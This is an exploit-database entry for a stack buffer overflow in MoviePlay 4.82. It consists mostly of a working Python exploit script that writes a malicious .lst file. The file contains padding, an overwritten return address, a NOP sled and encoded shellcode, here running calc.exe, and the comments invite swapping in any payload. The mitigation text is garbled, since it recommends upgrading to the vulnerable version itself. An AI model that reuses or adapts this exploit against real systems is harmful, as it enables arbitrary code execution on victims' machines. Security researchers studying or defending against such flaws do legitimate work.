MoviePlay 4.82 (.lst) Buffer Overflow

vendor:

MoviePlay

by:

sickness

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: MoviePlay

Affected Version From: 4.82

Affected Version To: 4.82

Patch Exists: YES

Related CWE: N/A

CPE: a:movieplay:movieplay:4.82

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP3 (EN)

2011

MoviePlay 4.82 (.lst) Buffer Overflow

MoviePlay 4.82 is vulnerable to a buffer overflow vulnerability when a specially crafted .lst file is opened. This can be exploited to execute arbitrary code by corrupting the stack. The exploit code is written in Python and it contains a payload that executes calc.exe when the vulnerable application is opened.

Mitigation:

Upgrade to the latest version of MoviePlay 4.82 or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# MoviePlay 4.82 (.lst) Buffer Overflow
# Author: sickness
# Download : http://www.softpedia.com/get/Multimedia/Video/Video-Players/MoviePlay.shtml
# Previous version exploit can be found here: http://www.exploit-db.com/exploits/4051/
# Tested : Windows XP Professional SP3 (EN) latest updates with IE8
# DATE   : 10/02/2011
###################################################################
# You might need to change the EIP address
# The payload can be replaced with whatever you want, there is enough space.
###################################################################

begin = "\x5b\x4d\x6f\x76\x69\x65\x50\x6c\x61\x79\x5d\x0d\x0a\x46\x69\x6c\x65\x4e\x61\x6d\x65\x30\x3d\x43\x3a\x5c"
junk = '\x90' * 1085
eip = '\xD7\x30\x9D\x7C'	# JMP ESP SHELL32.dll
nops = '\x90'*16

# msfpayload windows/exec CMD=calc.exe R | msfencode -a x86 -t c
sc = ("\xbe\x41\x9e\x4e\xd0\x33\xc9\xda\xd7\xd9\x74\x24\xf4\xb1\x33"
"\x58\x31\x70\x10\x83\xe8\xfc\x03\x31\x92\xac\x25\x4d\x42\xb9"
"\xc6\xad\x93\xda\x4f\x48\xa2\xc8\x34\x19\x97\xdc\x3f\x4f\x14"
"\x96\x12\x7b\xaf\xda\xba\x8c\x18\x50\x9d\xa3\x99\x54\x21\x6f"
"\x59\xf6\xdd\x6d\x8e\xd8\xdc\xbe\xc3\x19\x18\xa2\x2c\x4b\xf1"
"\xa9\x9f\x7c\x76\xef\x23\x7c\x58\x64\x1b\x06\xdd\xba\xe8\xbc"
"\xdc\xea\x41\xca\x97\x12\xe9\x94\x07\x23\x3e\xc7\x74\x6a\x4b"
"\x3c\x0e\x6d\x9d\x0c\xef\x5c\xe1\xc3\xce\x51\xec\x1a\x16\x55"
"\x0f\x69\x6c\xa6\xb2\x6a\xb7\xd5\x68\xfe\x2a\x7d\xfa\x58\x8f"
"\x7c\x2f\x3e\x44\x72\x84\x34\x02\x96\x1b\x98\x38\xa2\x90\x1f"
"\xef\x23\xe2\x3b\x2b\x68\xb0\x22\x6a\xd4\x17\x5a\x6c\xb0\xc8"
"\xfe\xe6\x52\x1c\x78\xa5\x38\xe3\x08\xd3\x05\xe3\x12\xdc\x25"
"\x8c\x23\x57\xaa\xcb\xbb\xb2\x8f\x24\xf6\x9f\xb9\xac\x5f\x4a"
"\xf8\xb0\x5f\xa0\x3e\xcd\xe3\x41\xbe\x2a\xfb\x23\xbb\x77\xbb"
"\xd8\xb1\xe8\x2e\xdf\x66\x08\x7b\xbc\xe9\x9a\xe7\x6d\x8c\x1a"
"\x8d\x71")

exploit = junk + eip + nops + sc
rest = '\x90'*(2000-len(exploit))
end="\x2e\x6d\x70\x33\x0d\x0a\x46\x69\x6c\x65\x4e\x61\x6d\x65\x31\x3d\x0d\x0a\x4e\x75\x6d\x46\x69\x6c\x65\x73\x3d\x31\x0d\x0a"

try:
	f = open("evil.lst","w");
	f.write(begin+exploit+rest+end)
	f.close()
	print "Done!"
except:
	print "Something went wront!"